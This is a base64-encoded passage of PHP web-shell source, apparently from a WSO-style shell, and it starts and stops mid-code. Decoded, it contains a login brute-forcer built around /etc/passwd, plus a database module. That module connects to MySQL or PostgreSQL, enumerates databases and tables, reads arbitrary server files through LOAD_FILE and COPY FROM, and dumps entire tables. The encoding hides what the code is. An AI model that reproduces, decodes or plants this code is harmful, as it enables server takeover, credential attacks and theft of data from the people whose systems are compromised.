JwoJCS4nPHNwYW4+U2VydmVyOnBvcnQ8L3NwYW4+PC90ZD4nCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNlcnZlciB2YWx1ZT0iMTI3LjAuMC4xIj48L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48c3Bhbj5CcnV0ZSB0eXBlPC9zcGFuPjwvdGQ+JwoJCS4nPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iMSIgY2hlY2tlZD4gL2V0Yy9wYXNzd2Q8L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48L3RkPjx0ZCBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cmV2ZXJzZSB2YWx1ZT0xIGNoZWNrZWQ+IHJldmVyc2UgKGxvZ2luIC0+IG5pZ29sKTwvdGQ+PC90cj4nCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iMiI+IERpY3Rpb25hcnk8L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48dGFibGUgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48dHI+PHRkPjxzcGFuPkxvZ2luPC9zcGFuPjwvdGQ+JwoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2dpbiB2YWx1ZT0icm9vdCI+PC90ZD48L3RyPicKCQkuJzx0cj48dGQ+PHNwYW4+RGljdGlvbmFyeTwvc3Bhbj48L3RkPicKCQkuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGljdCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Bhc3N3ZC5kaWMiPjwvdGQ+PC90cj48L3RhYmxlPicKCQkuJzwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JzsKCWVjaG8gJzwvZGl2Pic7CgloYXJkRm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWN0aW9uU3FsKCkgewoJY2xhc3MgRGJDbGFzcyB7CgkJdmFyICR0eXBlOwoJCXZhciAkbGluazsKCQl2YXIgJHJlczsKCQlmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdHlwZSkJewoJCQkkdGhpcy0+dHlwZSA9ICR0eXBlOwoJCX0KCQlmdW5jdGlvbiBjb25uZWN0KCRob3N0LCAkdXNlciwgJHBhc3MsICRkYm5hbWUpewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlpZiggJHRoaXMtPmxpbmsgPSBAbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcyx0cnVlKSApIHJldHVybiB0cnVlOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCSRob3N0ID0gZXhwbG9kZSgnOicsICRob3N0KTsKCQkJCQlpZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7CgkJCQkJaWYoICR0aGlzLT5saW5rID0gQHBnX2Nvbm5lY3QoImhvc3Q9eyRob3N0WzBdfSBwb3J0PXskaG9zdFsxXX0gdXNlcj0kdXNlciBwYXNzd29yZD0kcGFzcyBkYm5hbWU9JGRibmFtZSIpICkgcmV0dXJuIHRydWU7CgkJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBzZWxlY3RkYigkZGIpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJaWYgKEBteXNxbF9zZWxlY3RfZGIoJGRiKSlyZXR1cm4gdHJ1ZTsKCQkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIHF1ZXJ5KCRzdHIpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKSB7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSBAbXlzcWxfcXVlcnkoJHN0cik7CgkJCQkJYnJlYWs7CgkJCQljYXNlICdwZ3NxbCc6CgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSBAcGdfcXVlcnkoJHRoaXMtPmxpbmssJHN0cik7CgkJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBmZXRjaCgpIHsKCQkJJHJlcyA9IGZ1bmNfbnVtX2FyZ3MoKT9mdW5jX2dldF9hcmcoMCk6JHRoaXMtPnJlczsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJcmV0dXJuIEBteXNxbF9mZXRjaF9hc3NvYygkcmVzKTsKCQkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gQHBnX2ZldGNoX2Fzc29jKCRyZXMpOwoJCQkJCWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVuY3Rpb24gbGlzdERicygpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cXVlcnkoIlNIT1cgZGF0YWJhc2VzIik7CgkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSBXSEVSRSBkYXRpc3RlbXBsYXRlIT0ndCciKTsKCQkJCWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7CgkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgic2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJyIpOwoJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBlcnJvcigpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJcmV0dXJuIEBteXNxbF9lcnJvcigpOwoJCQkJYnJlYWs7CgkJCQljYXNlICdwZ3NxbCc6CgkJCQkJcmV0dXJuIEBwZ19sYXN0X2Vycm9yKCk7CgkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIHNldENoYXJzZXQoJHN0cikgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX3NldF9jaGFyc2V0JykpCgkJCQkJCXJldHVybiBAbXlzcWxfc2V0X2NoYXJzZXQoJHN0ciwgJHRoaXMtPmxpbmspOwoJCQkJCWVsc2UKCQkJCQkJJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7CgkJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBsb2FkRmlsZSgkc3RyKSB7CgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJewoJCQkJY2FzZSAnbXlzcWwnOgoJCQkJCXJldHVybiAkdGhpcy0+ZmV0Y2goJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLmFkZHNsYXNoZXMoJHN0cikuIicpIGFzIGZpbGUiKSk7CgkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQkkdGhpcy0+cXVlcnkoIkNSRUFURSBUQUJMRSBoYXJkMihmaWxlIHRleHQpO0NPUFkgaGFyZDIgRlJPTSAnIi5hZGRzbGFzaGVzKCRzdHIpLiInO3NlbGVjdCBmaWxlIGZyb20gaGFyZDI7Iik7CgkJCQkJJHI9YXJyYXkoKTsKCQkJCQl3aGlsZSgkaT0kdGhpcy0+ZmV0Y2goKSkKCQkJCQkJJHJbXSA9ICRpWydmaWxlJ107CgkJCQkJJHRoaXMtPnF1ZXJ5KCdkcm9wIHRhYmxlIGhhcmQyJyk7CgkJCQkJcmV0dXJuIGFycmF5KCdmaWxlJz0+aW1wbG9kZSgiXG4iLCRyKSk7CgkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIGR1bXAoJHRhYmxlLCAkZnAgPSBmYWxzZSkgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQkkcmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsKCQkJCQkkY3JlYXRlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcyk7CgkJCQkJJHNxbCA9ICRjcmVhdGVbMV0uIjtcbiI7CiAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOwoJCQkJCSR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKTsKICAgICAgICAgICAgICAgICAgICAkaSA9IDA7CiAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOwoJCQkJCXdoaWxlKCTilp8gPSAkdGhpcy0+ZmV0Y2goKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRpICUgMTAwMCA9PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIjtcblxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgfQoJCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7CgkJCQkJCWZvcmVhY2goJOKWnyBhcyAkaz0+JHYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR2ID09PSBudWxsKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICTilp9bJGtdID0gIk5VTEwiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKGlzX2ludCgkdikpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJOKWn1ska10gPSAkdjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk4pafWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7CgkJCQkJCQkkY29sdW1uc1tdID0gImAiLiRrLiJgIjsKCQkJCQkJfQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaGVhZCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLiIpIFZBTFVFUyBcblx0KCIuaW1wbG9kZSgiLCAiLCAk4pafKS4nKSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gIlxuXHQsKCIuaW1wbG9kZSgiLCAiLCAk4pafKS4nKSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsKCQkJCQl9CiAgICAgICAgICAgICAgICAgICAgaWYoISRoZWFkKQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICI7XG5cbiIpOyBlbHNlIGVjaG8oIjtcblxuIik7CgkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOwoJCQkJCXdoaWxlKCTilp8gPSAkdGhpcy0+ZmV0Y2goKSkgewoJCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7CgkJCQkJCWZvcmVhY2goJOKWnyBhcyAkaz0+JHYpIHsKCQkJCQkJCSTilp9bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsKCQkJCQkJCSRjb2x1bW5zW10gPSAkazsKCQkJCQkJfQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJOKWnykuJyk7Jy4iXG4iOwogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7CgkJCQkJfQoJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCX07CgkkZGIgPSBuZXcgRGJDbGFzcygkX1BPU1RbJ3R5cGUnXSk7CglpZigoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgJiYgKEAkX1BPU1RbJ3AxJ10hPSdzZWxlY3QnKSkgewoJCSRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKTsKCQkkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7CiAgICAgICAgc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7CiAgICAgICAgICAgIGNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOwogICAgICAgICAgICBjYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsKICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsKICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsKICAgICAgICAgICAgY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOwogICAgICAgIH0KICAgICAgICBpZihlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpIHsKICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOwogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPWR1bXAuc3FsIik7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7CiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikKCQkJCSRkYi0+ZHVtcCgkdik7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfSBlbHNlaWYoJGZwID0gQGZvcGVuKCRfUE9TVFsnZmlsZSddLCAndycpKSB7CiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikKICAgICAgICAgICAgICAgICRkYi0+ZHVtcCgkdiwgJGZwKTsKICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsncDInXSk7CiAgICAgICAgfSBlbHNlCiAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5hbGVydCgiRXJyb3IhIENhblwndCBvcGVuIGZpbGUiKTt3aW5kb3cuaGlzdG9yeS5iYWNrKC0xKTwvc2NyaXB0PicpOwoJfQoJaGFyZEhlYWRlcigpOwoJZWNobyAiCjxoMT5TcWwgYnJvd3NlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pgo8Zm9ybSBuYW1lPSdzZicgbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD0nZnModGhpcyk7Jz48dGFibGUgY2VsbHBhZGRpbmc9JzInIGNlbGxzcGFjaW5nPScwJz48dHI+Cjx0ZD5UeXBlPC90ZD48dGQ+SG9zdDwvdGQ+PHRkPkxvZ2luPC90ZD48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD5EYXRhYmFzZTwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW5lIHZhbHVlPScnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9U3FsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSdxdWVyeSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9Jyc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuIic+Cjx0ZD48bGFiZWw+PHNlbGVjdCBuYW1lPSd0eXBlJz48b3B0aW9uIHZhbHVlPSdteXNxbCcgIjsKICAgIGlmKEAkX1BPU1RbJ3R5cGUnXT09J215c3FsJyllY2hvICdzZWxlY3RlZCc7CmVjaG8gIj5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3Bnc3FsJyAiOwppZihAJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpZWNobyAnc2VsZWN0ZWQnOwplY2hvICI+UG9zdGdyZVNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvbGFiZWw+PC90ZD4KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfaG9zdCB2YWx1ZT1cIiIuIChlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkgLiJcIj48L3RkPgo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT1cIiIuIChlbXB0eSgkX1BPU1RbJ3NxbF9sb2dpbiddKT8ncm9vdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9sb2dpbiddKSkgLiJcIj48L3RkPgo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9wYXNzIHZhbHVlPVwiIi4gKGVtcHR5KCRfUE9TVFsnc3FsX3Bhc3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKSAuIlwiIHJlcXVpcmVkPjwvdGQ+PHRkPiI7CgkkdG1wID0gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfYmFzZSB2YWx1ZT0nJz4iOwoJaWYoaXNzZXQoJF9QT1NUWydzcWxfaG9zdCddKSl7CgkJaWYoJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pKSB7CgkJCXN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgewoJCQkJY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7CgkJCQljYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsKCQkJCWNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7CgkJCQljYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOwoJCQkJY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOwoJCQl9CgkJCSRkYi0+bGlzdERicygpOwoJCQllY2hvICI8bGFiZWw+PHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9Jyc+PC9vcHRpb24+IjsKCQkJd2hpbGUoJOKWnyA9ICRkYi0+ZmV0Y2goKSkgewoJCQkJbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgk4pafKTsKCQkJCWVjaG8gJzxvcHRpb24gdmFsdWU9IicuJHZhbHVlLiciICcuKCR2YWx1ZT09JF9QT1NUWydzcWxfYmFzZSddPydzZWxlY3RlZCc6JycpLic+Jy4kdmFsdWUuJzwvb3B0aW9uPic7CgkJCX0KCQkJZWNobyAnPC9zZWxlY3Q+PC9sYWJlbD4nOwoJCX0KCQllbHNlIGVjaG8gJHRtcDsKCX1lbHNlCgkJZWNobyAkdG1wOwoJZWNobyAiPC90ZD4KCQkJCTx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCcgb25jbGljaz0nZnMoZC5zZik7Jz48L3RkPgogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c3FsX2NvdW50IHZhbHVlPSdvbiciIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycnOicgY2hlY2tlZCcpIC4gIj4gY291bnQgdGhlIG51bWJlciBvZiByb3dzPC90ZD4KCQkJPC90cj4KCQk8L3RhYmxlPgoJCTxzY3JpcHQ+CiAgICAgICAgICAgIHNfZGI9JyIuQGFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJzsKICAgICAgICAgICAgZnVuY3Rpb24gZnMoZikgewogICAgICAgICAgICAgICAgaWYoZi5zcWxfYmFzZS52YWx1ZSE9c19kYikgeyBmLm9uc3VibWl0ID0gZnVuY3Rpb24oKSB7fTsKICAgICAgICAgICAgICAgICAgICBpZihmLnAxKSBmLnAxLnZhbHVlPScnOwogICAgICAgICAgICAgICAgICAgIGlmKGYucDIpIGYucDIudmFsdWU9Jyc7CiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMykgZi5wMy52YWx1ZT0nJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoJCQlmdW5jdGlvbiBzdCh0LGwpIHsKCQkJCWQuc2YucDEudmFsdWUgPSAnc2VsZWN0JzsKCQkJCWQuc2YucDIudmFsdWUgPSB0OwogICAgICAgICAgICAgICAgaWYobCAmJiBkLnNmLnAzKSBkLnNmLnAzLnZhbHVlID0gbDsKCQkJCWQuc2Yuc3VibWl0KCk7CgkJCX0KCQkJZnVuY3Rpb24gaXMoKSB7CgkJCQlmb3IoaT0wO2k8ZC5zZi5lbGVtZW50c1sndGJsW10nXS5sZW5ndGg7KytpKQoJCQkJCWQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZCA9ICFkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQ7CgkJCX0KCQk8L3NjcmlwdD4iOwoJaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspewoJCWVjaG8gIjxici8+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MiBjZWxsc3BhY2luZz0wPiI7CgkJCWlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pKXsKCQkJCSRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsKCQkJCWVjaG8gIjx0cj48dGQgd2lkdGg9MSBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPjxzcGFuPlRhYmxlczo8L3NwYW4+PGJyPjxicj4iOwoJCQkJJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7CgkJCQl3aGlsZSgk4pafID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKSB7CgkJCQkJbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgk4pafKTsKICAgICAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkpCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJHZhbHVlLicnKSk7CgkJCQkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOwoJCQkJCWVjaG8gIjxub2JyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0ndGJsW10nIHZhbHVlPSciLiR2YWx1ZS4iJz4mbmJzcDs8YSBocmVmPSMgb25jbGljaz1cInN0KCciLiR2YWx1ZS4iJywxKVwiPiIuJHZhbHVlLiI8L2E+IiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJm5ic3A7JzoiIDxzbWFsbD4oeyRuWyduJ119KTwvc21hbGw+IikgLiAiPC9ub2JyPjxicj4iOwoJCQkJfQoJCQkJZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIudmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PGJyPkZpbGUgcGF0aDo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSB2YWx1ZT0nZHVtcC5zcWwnPjwvdGQ+PHRkIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+IjsKCQkJCWlmKEAkX1BPU1RbJ3AxJ10gPT0gJ3NlbGVjdCcpIHsKCQkJCQkkX1BPU1RbJ3AxJ10gPSAncXVlcnknOwogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9ICRfUE9TVFsncDMnXT8kX1BPU1RbJ3AzJ106MTsKCQkJCQkkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcgLiAkX1BPU1RbJ3AyJ10pOwoJCQkJCSRudW0gPSAkZGItPmZldGNoKCk7CgkJCQkJJHBhZ2VzID0gY2VpbCgkbnVtWyduJ10gLyAzMCk7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNjcmlwdD5kLnNmLm9uc3VibWl0PWZ1bmN0aW9uKCl7c3QoXCIiIC4gJF9QT1NUWydwMiddIC4gIlwiLCBkLnNmLnAzLnZhbHVlKX08L3NjcmlwdD48c3Bhbj4iLiRfUE9TVFsncDInXS4iPC9zcGFuPiAoeyRudW1bJ24nXX0gcmVjb3JkcykgUGFnZSAjIDxpbnB1dCB0eXBlPXRleHQgbmFtZT0ncDMnIHZhbHVlPSIgLiAoKGludCkkX1BPU1RbJ3AzJ10pIC4gIj4iOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIiBvZiAkcGFnZXMiOwogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA+IDEpCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIiIC4gJF9QT1NUWydwMiddIC4gJyIsICcgLiAoJF9QT1NUWydwMyddLTEpIC4gIiknPiZsdDsgUHJldjwvYT4iOwogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA8ICRwYWdlcykKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10rMSkgLiAiKSc+TmV4dCAmZ3Q7PC9hPiI7CiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddLS07CgkJCQkJaWYoJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpCgkJCQkJCSRfUE9TVFsncDInXSA9ICdTRUxFQ1Qg